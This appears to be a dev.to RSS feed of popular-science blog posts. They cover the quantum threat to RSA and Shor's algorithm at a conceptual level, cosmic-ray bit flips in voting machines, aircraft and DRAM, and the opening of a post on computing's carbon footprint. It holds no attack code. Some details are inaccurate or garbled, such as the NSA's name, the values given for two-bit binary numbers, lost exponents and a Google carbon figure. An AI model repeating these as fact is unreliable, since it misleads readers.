<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Debρarna Bisωas</title>
    <description>The latest articles on DEV Community by Debρarna Bisωas (@debparnob).</description>
    <link>https://dev.to/debparnob</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F876637%2F4d1bcebe-cbf8-457b-a790-36bf404e24f3.jpg</url>
      <title>DEV Community: Debρarna Bisωas</title>
      <link>https://dev.to/debparnob</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/debparnob"/>
    <language>en</language>
    <item>
      <title>Quantum Computing and the Looming Threat to Our Privacy: A Deep Dive</title>
      <dc:creator>Debρarna Bisωas</dc:creator>
      <pubDate>Mon, 20 May 2024 18:29:09 +0000</pubDate>
      <link>https://dev.to/debparnob/quantum-computing-and-the-looming-threat-to-our-privacy-a-deep-dive-3697</link>
      <guid>https://dev.to/debparnob/quantum-computing-and-the-looming-threat-to-our-privacy-a-deep-dive-3697</guid>
      <description>&lt;p&gt;RSA as we know it is a public-key cryptography system invented in 1977, based on the mathematical difficulty of factoring the product of two large prime numbers.&lt;/p&gt;

&lt;p&gt;Today, RSA is widely used in securing web browsing via HTTPS, email encryption through protocols like S/MIME, and digital signatures for verifying document authenticity.It also secures virtual private networks (VPNs), file transfers (FTPS and SFTP), etc. Thus being an integral part to data privacy and security.&lt;/p&gt;

&lt;p&gt;Today, this data is secure thanks to this encryption method as it would take traditional computers millions of years to break.&lt;/p&gt;

&lt;p&gt;But quantum computing is emerging as a game-changer.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Store Now, Decrypt Later: Preparing for the Quantum Age&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqcb06hkmy4cbq6684c7f.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqcb06hkmy4cbq6684c7f.png" alt="Image description" width="676" height="388"&gt;&lt;/a&gt;&lt;br&gt;
The SNDL strategy is predicated on the belief that within the next 10 to 20 years, quantum computers will be capable of decrypting this data swiftly, which is a threat. The National Security Administration has warned that if a strong enough quantum computer is developed, it could break all the commonly used encryption methods, making all that stored encrypted data readable.&lt;/p&gt;

&lt;p&gt;On January, 2023 The US Congress passed a Bill mandating all agencies to find new cryptographic methods which are ‘quantum-resistant’.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;A Brief History of Encryption&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Before diving into the implications of quantum computing, it’s important to understand the origin of encryption.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fde1dkb6v2qd9od8csor3.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fde1dkb6v2qd9od8csor3.png" alt="Image description" width="560" height="338"&gt;&lt;/a&gt;&lt;br&gt;
Before the 1970s, secure communication relied on symmetric key algorithms. This required exchanging secret keys in person, which actually was impractical for widespread use.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0vjh4dte5iunu1m8cnit.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0vjh4dte5iunu1m8cnit.png" alt="Image description" width="800" height="475"&gt;&lt;/a&gt;&lt;br&gt;
In 1977, Rivest, Shamir, and Adleman revolutionised encryption with the RSA algorithm, an asymmetric key system that enables secure communication without the need for a prior secret exchange.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ft9lg2ao50czgywai805k.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ft9lg2ao50czgywai805k.png" alt="Image description" width="800" height="472"&gt;&lt;/a&gt;&lt;br&gt;
RSA encryption uses two keys: a &lt;strong&gt;public key&lt;/strong&gt; for encrypting messages and a private key for decrypting them. Each user creates two large secret prime numbers (&lt;strong&gt;private key&lt;/strong&gt;) and multiplies them together to form the public key. Only someone who knows these original prime numbers can decrypt messages that were encrypted with the public key.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Quantum Computing: A Game Changer&lt;/strong&gt;&lt;br&gt;
The security of RSA encryption relies on the difficulty of factoring large composite numbers, a task that would take about &lt;strong&gt;16 millions of years&lt;/strong&gt; even for a Super computer. Quantum computers, however, operate on a fundamentally different principle.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fdkjmejnda9yqpbyjvwjg.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fdkjmejnda9yqpbyjvwjg.png" alt="Image description" width="684" height="450"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;In classical computing, a bit is binary and can exist in one of two states: &lt;strong&gt;0&lt;/strong&gt; or &lt;strong&gt;1&lt;/strong&gt;. &lt;br&gt;
A classical system with two bits can represent any one of four possible states: &lt;strong&gt;00, 01, 10&lt;/strong&gt; or &lt;strong&gt;11&lt;/strong&gt;, representing numbers 1, 2, 3 and 4.&lt;br&gt;
So if we want to do a calculation it can be done only one state at a time.&lt;/p&gt;

&lt;p&gt;Or example if we want use any of the number to calculate the power of 5, only one operation can be done at a time by this bit pair. Example, using 11 i.e. 3, to calculate 5n = 53 = 125.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fab4iimsv4vu5gvaczwhk.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fab4iimsv4vu5gvaczwhk.png" alt="Image description" width="800" height="455"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;In contrast, a qubit can exist in a state that is a combination of both 0 and 1 simultaneously, thanks to superposition. So 2 Qubits can be at 4 different states at the same time i.e. &lt;strong&gt;00, 01, 10 ,11&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Mathematically, a qubit can be described as a linear combination of its basis states:&lt;br&gt;
∣ψ⟩=α ∣0⟩+β ∣1⟩&lt;/p&gt;

&lt;p&gt;where 𝛼 and β are complex numbers that describe the probability amplitudes of the qubit's state, and&lt;/p&gt;

&lt;p&gt;When multiple qubits are in superposition, they can represent all possible combinations of their states simultaneously. For example, two qubits can be in a superposition of all four states (00, 01, 10, and 11) at the same time. As a result, an n-qubit system can simultaneously represent 2n states, thus able to do 2n calculations in at the same time, reducing the time complexity exponentially compared to classical bits.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F64gconfye48sba90g1s2.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F64gconfye48sba90g1s2.png" alt="Image description" width="800" height="383"&gt;&lt;/a&gt;&lt;br&gt;
But there was once issue. The answers to the calculations of all states also came as a superposition. So even if we calculate, the result is unreadable. That's where the Shor's algorithm comes in, which uses Fourier Transform to separate the superpositions. &lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Shor's Algorithm and Quantum Factorisation&lt;/strong&gt;&lt;br&gt;
The breakthrough came in 1994 when Peter Shor developed an algorithm that could leverage quantum computing to factor large numbers exponentially faster than classical algorithms. Here’s a simplified explanation of how a quantum computer could break RSA encryption:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Initial Setup&lt;/strong&gt;: Start with a large number &lt;strong&gt;N&lt;/strong&gt; which is the product of two prime numbers, &lt;strong&gt;p&lt;/strong&gt; and &lt;strong&gt;q&lt;/strong&gt;. The goal is to find these primes.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Select a Random Number g&lt;/strong&gt;: Choose a random number &lt;strong&gt;g&lt;/strong&gt; that doesn't share any factors with &lt;strong&gt;N&lt;/strong&gt;. This is a bad guess for a factor.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Periodic Superposition&lt;/strong&gt;: Use the quantum computer to prepare a superposition of all possible exponents of &lt;strong&gt;g&lt;/strong&gt;. &lt;br&gt;
Compute &lt;strong&gt;g^x mod N&lt;/strong&gt; for all &lt;strong&gt;x&lt;/strong&gt; in this superposition, creating a periodic pattern due to the modular arithmetic.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Quantum Fourier Transform&lt;/strong&gt; (&lt;strong&gt;QFT&lt;/strong&gt;): Apply &lt;strong&gt;QFT&lt;/strong&gt; to the superposition. This transforms the periodic pattern into a frequency domain, where the period of the original pattern becomes a prominent peak.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Extracting the Period&lt;/strong&gt;: Measure the output of the &lt;strong&gt;QFT&lt;/strong&gt; to find the period &lt;strong&gt;r&lt;/strong&gt;. This period helps in finding factors of &lt;strong&gt;N&lt;/strong&gt;.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Classical Post-Processing&lt;/strong&gt;: Use the period &lt;strong&gt;r&lt;/strong&gt; to compute &lt;strong&gt;g^(r/2) + 1&lt;/strong&gt;, which are likely to share non-trivial factors with &lt;strong&gt;N&lt;/strong&gt;. Apply the Euclidean algorithm to find the greatest common divisor, revealing the prime factors &lt;strong&gt;p&lt;/strong&gt; and &lt;strong&gt;q&lt;/strong&gt;.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6qy2m0wpys279o7ewp7z.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6qy2m0wpys279o7ewp7z.png" alt="Image description" width="800" height="283"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The Algorithm might look very complicated, so simple put what we need to keep is mind is as follows:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Problem Description&lt;/strong&gt;: Given a large integer &lt;strong&gt;N&lt;/strong&gt;, the goal is to find its prime factors. For example, if &lt;strong&gt;N&lt;/strong&gt;=15, the factors are 3 and 5.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Classical Difficulty&lt;/strong&gt;: Factoring large integers is computationally hard for classical computers, especially as the numbers grow larger. This difficulty underpins the security of many cryptographic systems, such as RSA encryption.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Quantum Speedup&lt;/strong&gt;: Shor's algorithm can factor integers in polynomial time, specifically in O((log N)2(log log N)(log log log N)), which is exponentially faster than the best-known classical algorithms (e.g., the general number field sieve, which runs in sub-exponential time).&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;The threat is still far away&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fi6ib25o2z2iksyj7l9t3.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fi6ib25o2z2iksyj7l9t3.png" alt="Image description" width="800" height="496"&gt;&lt;/a&gt;&lt;br&gt;
Now the implementation lies on the number of perfect Qubits without any imperfections. But Qubits are extremely sensitive to their environment, which can cause them to lose their quantum state through a process called decoherence. Achieving a large number of high-fidelity, low-error qubits remains a significant hurdle.&lt;/p&gt;

&lt;p&gt;As per the current technological breakthroughs, the number of physical Qubits needed to break the RSA encryption is around 20 million.&lt;/p&gt;

&lt;p&gt;IBM's quantum computers, as an example, are mentioned as having nowhere near the required number of qubits, about 1000 Qubits.The current state of quantum computing is still in the early stages, with significant progress needed to reach the level required for such powerful computations.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Quantum Threat Mitigation: Post-Quantum Cryptography&lt;/strong&gt;&lt;br&gt;
Realising the upcoming threat from quantum computers, researchers and organisations have been developing post-quantum cryptography (PQC). In 2016, the National Institute of Standards and Technology (NIST) started a contest to find new cryptographic methods that can withstand quantum computer attacks. By 2022, they chose four algorithms to be part of the new standard for post-quantum cryptography.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F10p3oimx106f3r3ail8u.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F10p3oimx106f3r3ail8u.png" alt="Image description" width="800" height="468"&gt;&lt;/a&gt;&lt;br&gt;
One of the most promising approaches is &lt;strong&gt;lattice-based cryptography&lt;/strong&gt;, which relies on the complexity of problems like the shortest vector problem (SVP) in high-dimensional lattices. We shall discuss about this in details in the next Blog.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Conclusion&lt;/strong&gt;&lt;br&gt;
The rise of quantum computing presents a major risk to existing encryption techniques. Although quantum computers powerful enough to break RSA encryption are still years off, the SNDL strategy implies that data encrypted today could be at risk in the future. Therefore, switching to quantum-resistant cryptography is critically important. Researchers are working hard to create and adopt new cryptographic standards to protect our data in a world where quantum computers exist.&lt;/p&gt;

</description>
    </item>
    <item>
      <title>Bits in your PC can flip randomly</title>
      <dc:creator>Debρarna Bisωas</dc:creator>
      <pubDate>Tue, 14 Jun 2022 19:17:17 +0000</pubDate>
      <link>https://dev.to/debparnob/bits-in-your-pc-can-flip-randomly-2pb7</link>
      <guid>https://dev.to/debparnob/bits-in-your-pc-can-flip-randomly-2pb7</guid>
      <description>&lt;p&gt;We are emerging into a world of intense digitalization, where digital data prevails every aspect of our life. From monetary transactions to social status, from casual shopping to stock trading we are so much dependent on our gadgets making us a preliminary cyborg.&lt;br&gt;
We have much faith in our digital data, and rely on them to record our account balances and vital information. Although they seem to be incorruptible because binary bits are more reliable than analog signals, some events in history might say otherwise.&lt;/p&gt;

&lt;h2&gt;
  
  
  Belgium Elections, 2003
&lt;/h2&gt;

&lt;p&gt;On &lt;strong&gt;May 18, 2003&lt;/strong&gt; as voting was held in &lt;strong&gt;Schaerbeek&lt;/strong&gt;, it was done on computers where the voters used an electronic card to cast their vote by inserting the card into the system and making the selection on the screen. Their selection was saved both on the computer and on the &lt;em&gt;magnetic card&lt;/em&gt;. The magnetic cards were then dropped into a box storing backup data. A simple technique but something interesting happened on this particular day. &lt;br&gt;
When the results were checked later on the system, an unexpected anomaly was detected. A candidate named &lt;em&gt;Maria Vindevogel&lt;/em&gt; received more votes than was mathematically possible. The vote count was &lt;em&gt;4610&lt;/em&gt;. So the officials had to manually check all the digital cards counting the votes of each candidate.&lt;br&gt;
It was found that all the votes were absolutely correct except for Maria. Her actual votes count was &lt;em&gt;514&lt;/em&gt;. This means the system count was &lt;em&gt;4096&lt;/em&gt; votes higher than the actual count.&lt;br&gt;
So how could this happen? Later computer experts were brought to run tests on the software. They did thorough contemplation through the codes, but couldn't find any bug. Later the computer involved for the error was checked for hardware issue, but nothing was found and the system seemed to be working perfectly.&lt;/p&gt;

&lt;p&gt;But the weird part was that the actual results were off by exactly &lt;strong&gt;4096&lt;/strong&gt; which is equal to &lt;strong&gt;2^12&lt;/strong&gt;. Now if we consider the bits involved in storing the vote count, it looks something like this for &lt;em&gt;514&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--Ss0N3UoR--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/wvpddu88sr3vpz799325.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--Ss0N3UoR--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/wvpddu88sr3vpz799325.jpg" alt="Image description" width="880" height="180"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;But if we flip value of the &lt;em&gt;13th&lt;/em&gt; bit, it makes the record go up by a difference of &lt;em&gt;2^12&lt;/em&gt; , i.e. &lt;em&gt;4096&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--yJjg6Aog--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/47zd4nw6k3zylcu3e33p.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--yJjg6Aog--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/47zd4nw6k3zylcu3e33p.jpg" alt="Image description" width="880" height="180"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Now as we know bit values are stored by small transistors, where a state of the transistor decides the value of bit to be either 1 or 0. &lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--UTgOM9dj--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/quaxyfm0pnb806rw79qf.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--UTgOM9dj--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/quaxyfm0pnb806rw79qf.jpg" alt="Image description" width="880" height="281"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;But this doesn't happen naturally. Bits don't flip unless we make them do.&lt;/p&gt;

&lt;h2&gt;
  
  
  Airbus A330 Event, 2008
&lt;/h2&gt;

&lt;p&gt;On &lt;strong&gt;October 7, 2008&lt;/strong&gt;, an Airbus was on it's course from &lt;em&gt;Singapore&lt;/em&gt; to &lt;em&gt;Perth&lt;/em&gt; faced some anomalies which resulted to be have somewhat similar cause. After few hours in it's course, the plane suddenly dived down &lt;em&gt;200m&lt;/em&gt; in &lt;em&gt;20secs&lt;/em&gt;. Multiple passengers were injured and the pilots had to do an emergency landing.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--nC0rRUyz--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/yj6hl1u8xc1ajlz40hiu.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--nC0rRUyz--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/yj6hl1u8xc1ajlz40hiu.jpg" alt="Image description" width="880" height="435"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Later when the source of the cause was found, it was from the security protocol of the flight system. The information holding the critical data in case of emergency was stored in a 32 bit binary word. Now because of a single bit alteration of the word, &lt;em&gt;the altitude indicator&lt;/em&gt; value was switched to &lt;em&gt;angle of attack indicator&lt;/em&gt;. &lt;/p&gt;

&lt;p&gt;The software read the data as an emergency condition and dived down 200 meters as a response to the virtual attack to maintain safer altitude.&lt;/p&gt;

&lt;p&gt;So even this happened because of the mysterious bits flipping of the digital memory.&lt;/p&gt;

&lt;h2&gt;
  
  
  Intel Chips, 1978
&lt;/h2&gt;

&lt;p&gt;In 1978 &lt;strong&gt;Intel&lt;/strong&gt; reported some strange errors in the &lt;em&gt;16KB DRAMs&lt;/em&gt; they produced. Random bits were flipped to zeros as the produced the chips with all the bits as ones, with unknown causes. The problem turned out to be because of the ceramic packaging of the semiconductors. This packaging was manufactured in a plant near the Green River in Colorado. Now the plant was located near an old Uranium mill, which was the source of uranium particles polluting the ceramic packages and thus coming in contact with the DRAMs.&lt;br&gt;
Intel scientists later researched on this, and they found out that even traces of uranium particles can cause problem in the transistors. &lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--F8dJpg8O--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/lrhigafprbpu9gi2g8c7.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--F8dJpg8O--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/lrhigafprbpu9gi2g8c7.jpg" alt="Image description" width="880" height="361"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The alpha particles when hitting the semiconductors are capable to flip the state of the transistors, as they were creating electron hole pairs and loading electrons into the tunnel of the transistor. Thus changing the bit from 1 to 0. This is known as a &lt;strong&gt;Single Event Upset&lt;/strong&gt; (SEU), which is a soft error created without damaging the machine and leaving no trace.&lt;br&gt;
So it was the alpha particles.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Cause
&lt;/h2&gt;

&lt;p&gt;So as per the research by the Intel scientists, the radioactive Uranium was the cause. But what's with the Voting machine and the Airbus? Where did they get the Uranium from?&lt;/p&gt;

&lt;p&gt;During the early &lt;strong&gt;1900&lt;/strong&gt;s scientists found that radiations were not just found near to the ground due to ground radiation, but also in high altitudes. And actually above an altitude of &lt;em&gt;1000m&lt;/em&gt;  the radiation actually starts increasing. It even increases higher by several scales. High energy radiations were detected coming from the sky, but such scales of radiations were impossible to be created from the Sun. So where did they come from?&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--W9V1EdaH--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/4cr0cwcsfphje3af9n1j.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--W9V1EdaH--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/4cr0cwcsfphje3af9n1j.jpg" alt="Image description" width="880" height="435"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Today we know that these radiations are not electromagnetic but particles of kind: &lt;strong&gt;protons&lt;/strong&gt;, &lt;strong&gt;alpha particles&lt;/strong&gt; and &lt;strong&gt;heavier nuclei&lt;/strong&gt;. Even though we receive some of these from the Sun, but they have very low energy. Such high energy cosmic rays come from Super Novae, and even Super Massive Black Holes.&lt;br&gt;
It was later concluded that it were these high energy particles that created the bit flips, specially the neutrons. &lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--4D8eQuaR--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/nugm7408fjv5rm6o8vvi.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--4D8eQuaR--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/nugm7408fjv5rm6o8vvi.jpg" alt="Image description" width="880" height="281"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This is what flipped the 13th bit in the Voting machine giving &lt;em&gt;Maria Vindevogel&lt;/em&gt; , 4096 extra votes.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Solution
&lt;/h2&gt;

&lt;p&gt;Now a days there are ways to handle these kind of SEU events. Chips contain error correction codes and ECC memories. They are quite useful but it is still very tough to prevent bit flips. &lt;/p&gt;

&lt;p&gt;Problems occur more when such digital systems have more exposure to high energy cosmic radiations, like the computers in the rockets. So they are made resilient by having 4 different CPUs running in parallel, identically to each other. So if one computer faces a SEU events, the rest of the 3 computers will take over and correcting the bit of the 1st computer. The Perseverance Mars Rovers has a different strategy. It uses old models of Computer system with circuits and design system were hardened enough to face radiation 40 times stronger than what normal PCs can handle. Several subsequent space missions followed the same.&lt;/p&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;So events like this make us wonder how cosmic rays travelling light years of distance for millions of years can actually someday hit a transistor in your system and crash it. &lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--Lrd5hf53--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/fh3pohp1yv224tit5g5y.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--Lrd5hf53--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/fh3pohp1yv224tit5g5y.png" alt="Image description" width="880" height="493"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;And not just your Personal Laptop, the Servers in a certain data station storing our vital information, maybe even our account balances.&lt;/p&gt;

</description>
    </item>
    <item>
      <title>Computers pollute ?</title>
      <dc:creator>Debρarna Bisωas</dc:creator>
      <pubDate>Mon, 13 Jun 2022 18:16:07 +0000</pubDate>
      <link>https://dev.to/debparnob/an-email-can-release-5b38</link>
      <guid>https://dev.to/debparnob/an-email-can-release-5b38</guid>
      <description>&lt;p&gt;It might sound very anti-intuitive that you doing a google search about carbon emissions in the atmosphere can actually release a tiny amount of carbon too. It might be negligible but when we sum it all up, in processing almost 3.5 billion searches a day, the world’s most popular website accounts for about 40% of the internet’s carbon footprint. Now that’s a big part in the Carbon emission and can’t be neglected.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Digital Carbon Footprint&lt;/strong&gt;&lt;/p&gt;

